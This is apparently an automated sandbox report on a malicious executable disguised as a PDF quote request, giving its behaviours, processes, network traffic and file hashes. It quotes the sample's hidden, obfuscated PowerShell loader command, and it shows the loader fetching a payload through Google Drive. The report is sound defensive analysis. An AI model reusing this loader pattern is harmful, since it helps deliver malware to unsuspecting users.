Malware Analysis Report

2024-12-07 16:15

Sample ID 241113-lbbqaazaqk
Target RFQ for WIKA_pdf.exe
SHA256 f32af695424c19ad7ba48fc23dee2d20cbf4263103e35309199890eeadc017d8
Tags
discovery execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

f32af695424c19ad7ba48fc23dee2d20cbf4263103e35309199890eeadc017d8

Threat Level: Likely malicious

The file RFQ for WIKA_pdf.exe was found to be: Likely malicious.

Malicious Activity Summary

discovery execution

Command and Scripting Interpreter: PowerShell

Legitimate hosting services abused for malware hosting/C2

Blocklisted process makes network request

Suspicious use of NtSetInformationThreadHideFromDebugger

Suspicious use of NtCreateThreadExHideFromDebugger

Unsigned PE

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Program crash

NSIS installer

Suspicious behavior: MapViewOfSection

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 09:21

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

NSIS installer

installer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 09:21

Reported

2024-11-13 09:23

Platform

win7-20241023-en

Max time kernel

121s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\RFQ for WIKA_pdf.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\RFQ for WIKA_pdf.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\RFQ for WIKA_pdf.exe

"C:\Users\Admin\AppData\Local\Temp\RFQ for WIKA_pdf.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -windowstyle hidden "$enumeration=Get-Content -raw 'C:\Users\Admin\AppData\Local\Sonneteeress42\Nonusurpingly208\Reprsentantselskaberne.Bit';$Noret=$enumeration.SubString(7806,3);.$Noret($enumeration) "

Network

N/A

Files

memory/2484-9-0x0000000073681000-0x0000000073682000-memory.dmp

memory/2484-10-0x0000000073680000-0x0000000073C2B000-memory.dmp

memory/2484-11-0x0000000073680000-0x0000000073C2B000-memory.dmp

memory/2484-13-0x0000000073680000-0x0000000073C2B000-memory.dmp

memory/2484-12-0x0000000073680000-0x0000000073C2B000-memory.dmp

memory/2484-14-0x0000000073680000-0x0000000073C2B000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 09:21

Reported

2024-11-13 09:23

Platform

win10v2004-20241007-en

Max time kernel

149s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\RFQ for WIKA_pdf.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\msiexec.exe N/A
N/A N/A C:\Windows\SysWOW64\msiexec.exe N/A
N/A N/A C:\Windows\SysWOW64\msiexec.exe N/A
N/A N/A C:\Windows\SysWOW64\msiexec.exe N/A
N/A N/A C:\Windows\SysWOW64\msiexec.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\msiexec.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\msiexec.exe N/A

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\msiexec.exe

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\msiexec.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\RFQ for WIKA_pdf.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\RFQ for WIKA_pdf.exe

"C:\Users\Admin\AppData\Local\Temp\RFQ for WIKA_pdf.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -windowstyle hidden "$enumeration=Get-Content -raw 'C:\Users\Admin\AppData\Local\Sonneteeress42\Nonusurpingly208\Reprsentantselskaberne.Bit';$Noret=$enumeration.SubString(7806,3);.$Noret($enumeration) "

C:\Windows\SysWOW64\msiexec.exe

"C:\Windows\SysWOW64\msiexec.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 2452 -ip 2452

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2452 -s 1908

Network

Country Destination Domain Proto
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 138.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 drive.google.com udp
GB 142.250.187.238:443 drive.google.com tcp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 c.pki.goog udp
GB 142.250.200.3:80 c.pki.goog tcp
US 8.8.8.8:53 3.200.250.142.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 o.pki.goog udp
GB 142.250.200.3:80 o.pki.goog tcp
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 142.250.200.33:443 drive.usercontent.google.com tcp
US 8.8.8.8:53 33.200.250.142.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 28.173.189.20.in-addr.arpa udp

Files

memory/2160-7-0x00000000740DE000-0x00000000740DF000-memory.dmp

memory/2160-8-0x0000000002D30000-0x0000000002D66000-memory.dmp

memory/2160-10-0x0000000005610000-0x0000000005C38000-memory.dmp

memory/2160-9-0x00000000740D0000-0x0000000074880000-memory.dmp

memory/2160-11-0x00000000740D0000-0x0000000074880000-memory.dmp

memory/2160-12-0x0000000005450000-0x0000000005472000-memory.dmp

memory/2160-13-0x0000000005C40000-0x0000000005CA6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s3e4c0dj.pn3.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2160-16-0x0000000005CB0000-0x0000000005D16000-memory.dmp

memory/2160-20-0x0000000005D60000-0x00000000060B4000-memory.dmp

memory/2160-25-0x0000000006290000-0x00000000062AE000-memory.dmp

memory/2160-26-0x00000000062C0000-0x000000000630C000-memory.dmp

memory/2160-27-0x0000000006910000-0x00000000069A6000-memory.dmp

memory/2160-28-0x0000000006880000-0x000000000689A000-memory.dmp

memory/2160-29-0x0000000007370000-0x0000000007392000-memory.dmp

memory/2160-30-0x0000000007A00000-0x0000000007FA4000-memory.dmp

C:\Users\Admin\AppData\Local\Sonneteeress42\Nonusurpingly208\Reprsentantselskaberne.Bit

MD5 c22f6459bacbd4b317e870ddf6b60b93
SHA1 16ca1c55f08777130da5a79d90ce8bea04bdd3f2
SHA256 e7d9c5ad331c6eb2767780e722456543927c5ab736d2432ff2cb59f75d5b93ef
SHA512 47db78b9ed110e76e091264084ab2f59c4c553b511a6eea11eb83754c4e5ecdcf8cceeda3861bcc1a3322b20149e8c88f105535cf05a230504f8df370928de1b

memory/2160-32-0x0000000008630000-0x0000000008CAA000-memory.dmp

memory/2160-35-0x00000000740D0000-0x0000000074880000-memory.dmp

memory/2160-34-0x0000000070550000-0x000000007059C000-memory.dmp

memory/2160-33-0x00000000075E0000-0x0000000007612000-memory.dmp

memory/2160-36-0x0000000070920000-0x0000000070C74000-memory.dmp

memory/2160-46-0x0000000007820000-0x000000000783E000-memory.dmp

memory/2160-47-0x0000000007850000-0x00000000078F3000-memory.dmp

memory/2160-48-0x00000000740D0000-0x0000000074880000-memory.dmp

memory/2160-49-0x0000000007950000-0x000000000795A000-memory.dmp

memory/2160-50-0x00000000740D0000-0x0000000074880000-memory.dmp

memory/2160-52-0x00000000079C0000-0x00000000079E4000-memory.dmp

memory/2160-51-0x0000000007990000-0x00000000079BA000-memory.dmp

memory/2160-53-0x00000000740D0000-0x0000000074880000-memory.dmp

memory/2160-56-0x00000000740D0000-0x0000000074880000-memory.dmp

memory/2160-55-0x00000000740DE000-0x00000000740DF000-memory.dmp

memory/2160-57-0x00000000740D0000-0x0000000074880000-memory.dmp

C:\Users\Admin\AppData\Local\Sonneteeress42\Nonusurpingly208\Pitiability.Mon

MD5 01db84665be66accf1673afb7e81764f
SHA1 f80531210226e583855f4b1e1aa6b12e89099f5e
SHA256 92a29022f3d2eb69ced1ec286803c586f54522b27e29121e91f83154edb221ea
SHA512 938917f4985a20db26b96fc8a4c8934c1e7e868f598af33e9de487a2f34ae5cdb68b4081bd44fe131e1c1869d2c67e582373671b79f04e11596af215e28a229a

memory/2160-59-0x00000000740D0000-0x0000000074880000-memory.dmp

memory/2160-60-0x0000000008CB0000-0x000000000E981000-memory.dmp

memory/2160-61-0x00000000740D0000-0x0000000074880000-memory.dmp

memory/2160-62-0x00000000740D0000-0x0000000074880000-memory.dmp

memory/2160-63-0x00000000740D0000-0x0000000074880000-memory.dmp

memory/2160-64-0x00000000740D0000-0x0000000074880000-memory.dmp

memory/2160-66-0x00000000740D0000-0x0000000074880000-memory.dmp

memory/2452-67-0x0000000000C00000-0x0000000001E54000-memory.dmp

memory/2452-81-0x0000000000C00000-0x0000000001E54000-memory.dmp